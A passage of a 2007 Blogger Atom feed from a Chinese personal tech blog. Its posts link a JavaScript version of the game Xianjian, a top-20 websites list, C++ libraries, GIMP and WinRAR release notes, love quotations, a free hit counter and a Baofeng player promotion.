type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8196744540473982167' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8196744540473982167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8196744540473982167'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/announcing-fedora-7-test-1-690.html' title='Announcing Fedora 7 Test 1 (6.90)'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-6487482220880222199</id><published>2007-02-04T01:10:00.000+08:00</published><updated>2007-02-04T01:18:50.581+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Game'/><title type='text'>WEB版仙剑</title><content type='html'>(Click the title to read full text)&lt;br /&gt;&lt;br /&gt;玩仙剑的可以试一试，javascript的。&lt;br /&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.script8.com/bbs/project/newsword/" target="_blank"&gt;http://www.script8.com/bbs&lt;wbr&gt;/project/newsword/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-6487482220880222199?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/6487482220880222199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=6487482220880222199' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6487482220880222199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6487482220880222199'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/web.html' title='WEB版仙剑'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8002475576833722781</id><published>2007-02-04T00:56:00.000+08:00</published><updated>2007-02-04T00:57:05.590+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><title type='text'>Top-20 Websites: Where DO they spend their time online</title><content type='html'>&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://blog.compete.com/2007/01/25/top-20-websites-ranked-by-time-spent/" target="_blank"&gt;http://blog.compete.com/2007&lt;wbr&gt;/01/25/top-20-websites-ranked&lt;wbr&gt;-by-time-spent/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2006年12月的美国用户在线时间统计&lt;br /&gt;&lt;br /&gt;以下是这二十个网站的地址（按累计在线时间大小排名）：&lt;br /&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://myspace.com/" target="_blank"&gt;myspace.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://yahoo.com/" target="_blank"&gt;yahoo.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://msn.com/" target="_blank"&gt;msn.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://ebay.com/" target="_blank"&gt;ebay.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://google.com/" target="_blank"&gt;google.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://aol.com/" target="_blank"&gt;aol.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://pogo.com/" target="_blank"&gt;pogo.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://facebook.com/" target="_blank"&gt;facebook.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://amazon.com/" target="_blank"&gt;amazon.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://craigslist.com/" target="_blank"&gt;craigslist.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://go.com/" target="_blank"&gt;go.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://youtube.com/" target="_blank"&gt;youtube.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://live.com/" target="_blank"&gt;live.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://bankofamerica.com/" target="_blank"&gt;bankofamerica.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://wikipedia.org/" target="_blank"&gt;wikipedia.org&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://walmart.com/" target="_blank"&gt;walmart.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://mapquest.com/" target="_blank"&gt;mapquest.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://neopets.com/" target="_blank"&gt;neopets.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://adultfriendfinder.com/" target="_blank"&gt;adultfriendfinder.com&lt;/a&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://aim.com/" target="_blank"&gt;aim.com&lt;/a&gt;&lt;br /&gt;&lt;span class="sg"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8002475576833722781?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8002475576833722781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8002475576833722781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8002475576833722781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8002475576833722781'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/top-20-websites-where-do-they-spend.html' title='Top-20 Websites: Where DO they spend their time online'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5506912166171993205</id><published>2007-02-03T22:21:00.001+08:00</published><updated>2007-02-05T17:40:55.659+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C_C++'/><title type='text'>High-performance multi-dimensional C++ Array class (as fast as Fortran)</title><content type='html'>&lt;a href="http://www.math.ualberta.ca/%7Ebowman/software.html"&gt;http://www.math.ualberta.ca/~bowman/software.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Computer Software written by John C. Bowman and Colleagues&lt;/h3&gt; &lt;p&gt; &lt;/p&gt;&lt;hr /&gt;  &lt;a href="http://asymptote.sourceforge.net/"&gt;&lt;img src="http://www.math.ualberta.ca/%7Ebowman/asymptote.gif" border="0" /&gt;&lt;i&gt; Asymptote: The vector graphics language&lt;/i&gt;&lt;/a&gt; &lt;p&gt;  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/xstream.html"&gt; Portable C++ interface class for the XDR I/O routines&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/imaging/fftw++/"&gt; FFTW++: Fast Fourier Transform C++ Header Class for the FFTW3 Library&lt;/a&gt; (with documentation and examples)&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/Array.html"&gt; High-performance multi-dimensional C++ Array class&lt;/a&gt; (as fast as Fortran)&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/Matrix.html"&gt; Matrix class&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/pow.h"&gt; Inline C++ integer exponentiation routines&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/triad-1.44.tar.gz"&gt; Triad: an object-oriented C++ package for integrating initial value problems &lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/imaging/"&gt;Digital Imaging Software for Photomicroscopy: Driver for Nikon Coolpix Cameras&lt;/a&gt; &lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="ftp://sunsite.unc.edu/pub/Linux/libs/inline-math-2.7.tar.gz"&gt; Inline floating-point GCC macros for the 80387/80486&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt;  &lt;a href="http://www.math.ualberta.ca/imaging/snfs/"&gt; Secure NFS via SSH Tunnel&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/imaging/snfs/openssh.html"&gt; OpenSSH patches (including user-dependent IdentifyFile security patch)&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/imaging/rlbackup/"&gt; rlbackup (Remote Linked Backup)&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;li&gt; &lt;a href="http://www.math.ualberta.ca/%7Ebowman/tax/"&gt; Skeleton Canadian Federal &amp; Alberta Income Tax Spreadsheets (gnumeric &amp;amp; excel)&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;  &lt;p&gt; &lt;/p&gt;&lt;hr /&gt;  &lt;strong&gt;HOME: &lt;/strong&gt;&lt;a href="http://www.math.ualberta.ca/%7Ebowman/"&gt;http://www.math.ualberta.ca/~bowman&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5506912166171993205?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5506912166171993205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5506912166171993205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5506912166171993205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5506912166171993205'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/high-performance-multi-dimensional-c.html' title='High-performance multi-dimensional C++ Array class (as fast as Fortran)'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5357411338827908777</id><published>2007-02-03T11:53:00.000+08:00</published><updated>2007-02-03T12:19:32.862+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>Newsoft: GIMP 2.3.14 released</title><content type='html'>I use GIMP under both Linux and Windows in my office. It's free replace of Adobe Photoshop.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;GIMP is the GNU Image Manipulation Program.  It is a freely distributed piece of software for such tasks as photo retouching, image composition and image authoring.  It works on many operating systems, in many languages.&lt;/p&gt;  &lt;p&gt;This is the official GIMP web site. It contains information about downloading, installing, using, and enhancing it.  This site also serves as a distribution point for the latest releases.  We try to provide as much information about the GIMP community and related projects as possible.  Hopefully you will find what you need here. Grab a properly chilled beverage and enjoy.&lt;br /&gt;&lt;/p&gt;Download from:&lt;br /&gt;&lt;a href="http://www.gimp.org/"&gt;        http://www.gimp.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gimp.org/downloads/"&gt;        http://&lt;/a&gt;&lt;span style=""&gt;&lt;span class="sm"&gt;&lt;span class="a"&gt;&lt;a href="http://www.gimp.org/downloads/"&gt;www.gimp.org/downloads/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gimp.org/windows/"&gt;             http://www.gimp.org/windows/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Changes:&lt;br /&gt;Changes in GIMP 2.3.14&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;- added actions to control brush spacing&lt;br /&gt;- polished appearance of image window&lt;br /&gt;- scale the brush's spacing when scaling the brush&lt;br /&gt;- save tool presets when they are changed&lt;br /&gt;- improved handling of vectors in the Python bindings&lt;br /&gt;- allow for auto-cropping the result of the transform tools&lt;br /&gt;- added GimpRatioEntry widget and use it in the rectangle tool options&lt;br /&gt;- added functions to transform between preview and image coordinates&lt;br /&gt;- added PDB functions to validate display, drawable, image and vectors IDs&lt;br /&gt;- added HSL color model to Decompose and Compose plug-ins&lt;br /&gt;- further improved status bar messages for tools&lt;br /&gt;- on systems with D-Bus build gimp-remote functionality into gimp executable&lt;br /&gt;- bug fixes and code cleanup&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5357411338827908777?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5357411338827908777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5357411338827908777' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5357411338827908777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5357411338827908777'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/newsoft-gimp-2314-released.html' title='Newsoft: GIMP 2.3.14 released'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-2398811634315299321</id><published>2007-02-03T11:48:00.000+08:00</published><updated>2007-02-03T11:53:44.386+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>NewSoft: WinRAR v3.70 beta 3</title><content type='html'>Version 3.70 beta 3&lt;br /&gt;&lt;br /&gt;1. It is possible to set the string value "AppData" in Registry key&lt;br /&gt;HKEY_CURRENT_USER\Software&lt;div style="direction: ltr;"&gt;&lt;wbr&gt;\WinRAR\Paths to override the default&lt;br /&gt;%appdata%\WinRAR path for WinRAR settings.&lt;br /&gt;For example, if you wish to store theme files in WinRAR folder,&lt;br /&gt;set this value to "c:\Program Files\WinRAR".&lt;br /&gt;2. Total progress bar is displayed when unpacking UDF ISO files.&lt;br /&gt;3. In previous versions archive icons were not changed when selecting&lt;br /&gt;a new WinRAR theme in Windows Vista.&lt;br /&gt;4. WinRAR displays a warning if resulting archive is self-extracting&lt;br /&gt;and archive size exceeds 4 GB. Windows cannot run executables&lt;br /&gt;of such size.&lt;br /&gt;5. Corrections in ISO processing code.&lt;br /&gt;&lt;br /&gt;&lt;a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.rarlabs.com/rar/wrar37b3.exe" target="_blank"&gt;http://www.rarlabs.com/rar&lt;wbr&gt;/wrar37b3.exe&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-2398811634315299321?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/2398811634315299321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=2398811634315299321' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2398811634315299321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2398811634315299321'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/newsoft-winrar-v370-beta-3.html' title='NewSoft: WinRAR v3.70 beta 3'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3559949833247684267</id><published>2007-02-03T01:52:00.001+08:00</published><updated>2007-02-03T02:48:55.166+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>名人的爱情名言</title><content type='html'>&lt;div class="postTitle"&gt;&lt;a href="http://blog.donews.com/chinaboy/archive/2006/12/03/1089572.aspx"&gt;&lt;span style="color:#810081;"&gt;名人的爱情名言&lt;/span&gt;&lt;/a&gt;&lt;/div&gt; &lt;div class="postText"&gt;&lt;span style="color:#3366ff;"&gt;剪不断，理还乱，是离愁，别是一般滋味在心头。──李煜&lt;br /&gt;努力爱春华，莫忘欢乐时，生当复来归，死当长相思。──苏武&lt;br /&gt;得成比目何辞死，愿作鸳鸯不羡仙。──卢照邻&lt;br /&gt;在天愿作比翼鸟，在地愿为连理枝。──白居易&lt;br /&gt;曾经沧海难为水，除却巫山不是云。──元稹&lt;br /&gt;春蚕到死丝方尽，蜡炬成灰泪始干。──李商隐&lt;br /&gt;身无彩凤双飞翼，心有灵犀一点通。──李商隐&lt;br /&gt;衣带渐宽终不悔，为伊消得人憔悴。──柳永&lt;br /&gt;两情若是久长时，以岂在朝朝暮暮。──秦观&lt;br /&gt;莫道不消魂，帘卷西风，人比黄花瘦。──李清照&lt;br /&gt;人有悲欢离合，月有阴晴圆缺，此事古难全，但愿人长久，千里共婵娟。──苏轼&lt;br /&gt;长相知，才能不相疑；不相疑，才能长相知。──曹禺&lt;br /&gt;如果一个人没有能力帮助他所爱的人，最好不要随便谈什么爱与不爱。当然，帮助不等于爱情，但爱情不能不包括帮助。──鲁迅&lt;br /&gt;爱情原如树叶一样，在人忽视里绿了，在忍耐里露出蓓蕾。──何其芳&lt;br /&gt;春天没有花，人生没有爱，那还成个什么世界。──郭沫若&lt;br /&gt;真挚而纯洁的爱情，一定渗有对心爱的人的劳动和职业的尊重。──邓颖超&lt;br /&gt;爱情是一个不可缺少的、但它只能是推动我们前进的加速器，而不是工作、学习的绊脚石。──张志新&lt;br /&gt;人必须生活着，爱才有所附丽。──鲁迅&lt;br /&gt;只有爱给你解开不死之谜。──费尔巴哈&lt;br /&gt;爱情只有当它是自由自在时，才会叶茂花繁。认为爱情是某种义务的思想只能置爱情于死地。只消一句话：你应当爱某个人，就足以使你对这个人恨之入骨。──罗素&lt;br /&gt;爱情不会因为理智而变得淡漠，也不会因为雄心壮志而丧失殆尽。它是第二生命；它渗入灵魂，温暖着每一条血管，跳动在每一次脉搏之中。──艾迪生&lt;br /&gt;爱情是一片炽热狂迷的痴心，一团无法扑灭的烈火，一种永不满足的欲望，一分如糖似蜜的喜悦，一阵如痴如醉的疯狂，一种没有安宁的劳苦和没有劳苦的安宁。──理查?德?弗尼维尔&lt;br /&gt;那种用美好的感情和思想使我们升华并赋予我们力量的爱情，才能算是一种高尚的热情；而使我们自私自利，胆小怯弱，使我们流于盲目本能的下流行为的爱情，应该算是一种邪恶的热情。──乔治?桑&lt;br /&gt;真正的爱情是专一的，爱情有领域是非常的狭小，它狭到只能容下两个人生存；如果同时爱上几个人，那便不能称做爱情，它只是感情上的游戏。──席勒&lt;br /&gt;美人并不个个可爱；有些只是悦目而醉心。假如见到一个美人就痴情颠倒，这颗心就乱了，永远定不下来；因为美人多得数不尽，他的爱情就茫茫无归宿了……──塞万提斯&lt;br /&gt;爱情的欢乐虽然是甜美无比，但只有在光荣与美德存在的地方才能生存。──古尔内尔&lt;br /&gt;我是幸福的，因为我爱，因为我有爱。──白朗宁&lt;br /&gt;爱情使人心的憧憬升华到至善之境。──但丁&lt;br /&gt;没有太阳，花朵不会开放；没有爱便没有幸福；没有妇女也就没有爱，没有母亲，既不会有诗人，也不会有英雄。──高尔基&lt;br /&gt;爱情是发生在两个人之间的一种共同的经验。──卡森?麦卡勒斯&lt;br /&gt;爱是火热的友情，沉静的了解，相互信任，共同享受和彼此原谅。爱是不受时间、空间、条件、环境影响的忠实。爱是人们之间取长补短和承认对方的弱点。──安恩?拉德斯&lt;br /&gt;道德中最大的秘密是爱。──雪莱&lt;br /&gt;彼此恋爱，却不要做爱的系链。──纪伯伦&lt;br /&gt;爱情之中高尚的成分不亚于温柔的成分，使人向上的力量不亚于使人萎靡的力量，有时还能激发别的美德。──伏尔泰&lt;br /&gt;当两人之间有真爱情的时候，是不会考虑到年龄的问题，经济的条件，相貌的美丑，个子的高矮，等等外在的无关紧要的因素的。假如你们之间存在着这种问题，那你要先问问自己，是否真正在爱才好。──罗兰&lt;br /&gt;爱情，这不是一颗心去敲打另一颗心，而是两颗心共同撞击的火花。──伊萨可夫斯基&lt;br /&gt;"爱"和炭相同。烧起来，得没法叫它冷却。──莎士比亚&lt;br /&gt;性爱按其本性来说就是排他的。──恩格斯&lt;br /&gt;恋爱不是慈善事业,所以不能慷慨施舍。──萧伯纳&lt;br /&gt;爱情耻笑了锁匠。──科曼&lt;br /&gt;贞操是从丰富的爱情中生出来的资产。──泰戈尔&lt;br /&gt;就是神，在爱情中也难保持聪明。──培根&lt;br /&gt;恋爱是艰苦的，不能期待它象美梦一样出来。──拜伦&lt;br /&gt;爱得愈深，苛求得愈切，所以爱人之间不可能没有意气的争执。──劳伦斯&lt;br /&gt;不能摆脱是人生的苦恼根源之一，恋爱尤其如此。──塞涅卡&lt;br /&gt;永远不能复合的，往往不是那些在盛怒之下分开的情人，而是那些在友情的基础上分开的情人。──哈代&lt;br /&gt;为了失恋而耽误前程是一生的损失。──荷麦&lt;br /&gt;爱情是无邪的，神圣的。──陀思妥耶夫斯基&lt;/span&gt;&lt;br /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3559949833247684267?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3559949833247684267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3559949833247684267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3559949833247684267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3559949833247684267'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_3335.html' title='名人的爱情名言'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-4033183994476668119</id><published>2007-02-03T01:13:00.000+08:00</published><updated>2007-02-03T02:45:38.444+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>天堂免费计数器申请注册</title><content type='html'>&lt;div style="text-align: left;"&gt;申请网址：   &lt;a href="http://www.xcdv.com/jsq/login.asp" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt;http://www.xcdv.com/jsq/login&lt;wbr&gt;.asp&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;非常不错的网站访问免费计数器，03搜到的，发现现在还能用~~&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;天堂免费计数器申请注册&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;                   &lt;form method="post" name="FrmAddLink" language="javascript" onsubmit="return FrmAddLink_onsubmit()" action="SaveData.asp"&gt;&lt;/form&gt;                 &lt;blockquote&gt;            &lt;p&gt;&lt;b&gt;注意事项及说明:&lt;/b&gt;&lt;/p&gt;           &lt;ol&gt;&lt;li&gt;&lt;span class="p105"&gt;所填写的信息必须真实有效,带*号为必填写部分;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="p105"&gt;本系统提供568种样式的字体(&lt;a href="http://www.xcdv.com/jsq/login.asp#" onclick="MM_openBrWindow('http://www.xcinfo.ha.cn/jsq/view.asp','view','scrollbars=yes,width=320,height=380')"&gt; 查看字体样式&lt;/a&gt;),你可任选其一；&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="p105"&gt;用法极为简单(&lt;a href="http://www.xcdv.com/jsq/login.asp#" onclick="MM_openBrWindow('sample.htm','sample','scrollbars=yes,width=450,height=500')"&gt;例如&lt;/a&gt; )、方便，只要你喜欢，你可以随时更改字体样式及大小；&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="p105"&gt;本系统为自主开发系统,版权归&lt;a href="mailto:xcyzg@126.com"&gt;eye&lt;/a&gt;所有&lt;/span&gt;；&lt;/li&gt;&lt;li class="p105"&gt;可图形显示也可以文本显示；&lt;/li&gt;&lt;li class="p105"&gt;如有任何问题请EMAIL至&lt;a href="mailto:xcyzg@126.com"&gt; xcyzg@126.com&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-4033183994476668119?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/4033183994476668119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=4033183994476668119' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4033183994476668119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4033183994476668119'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_03.html' title='天堂免费计数器申请注册'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-2649073229378992460</id><published>2007-02-03T01:07:00.001+08:00</published><updated>2007-02-03T02:42:49.763+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>暴风郑重承诺：软件不好用，赔你人民币</title><content type='html'>&lt;span class="gmail_quote"&gt;&lt;br /&gt;&lt;/span&gt;zz from 暴风影音官方网站（&lt;a href="http://www.baofeng.com/"&gt;http://www.baofeng.com/&lt;/a&gt;）.&lt;br /&gt;&lt;br /&gt;暴风影音自公司化运营后，将更加以"增强用户体验"为己任，踏踏实实为用户提供更优质的产品。暴风此次举办"软件不好用，赔您人民币"的活动，不仅体现我们对产品的信心，也是向广大用户广泛征集产品改进意见。期待您的参与！&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;活动时间：2007年1月31日――2007年3月20日&lt;br /&gt;&lt;br /&gt;活动详情：&lt;br /&gt;&lt;br /&gt;自31日产品发布起，用户可以开始体验暴风影音2007全功能完美版，如果在使用过程中发现文件不能播放、或是文件播放出现异常、以及操作过程中遇到的各种问题等现象，可在2007年3月1日至3月10日期间，来暴风影音官方网站（www.baofeng.com）提交暴风软件问题描述、产品改进意见以及您的个人信息。如果意见合理并且真实，将能够获得暴风影音赔偿的1元人民币。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-2649073229378992460?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/2649073229378992460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=2649073229378992460' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2649073229378992460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2649073229378992460'/><link rel='alternate' type='text/html' 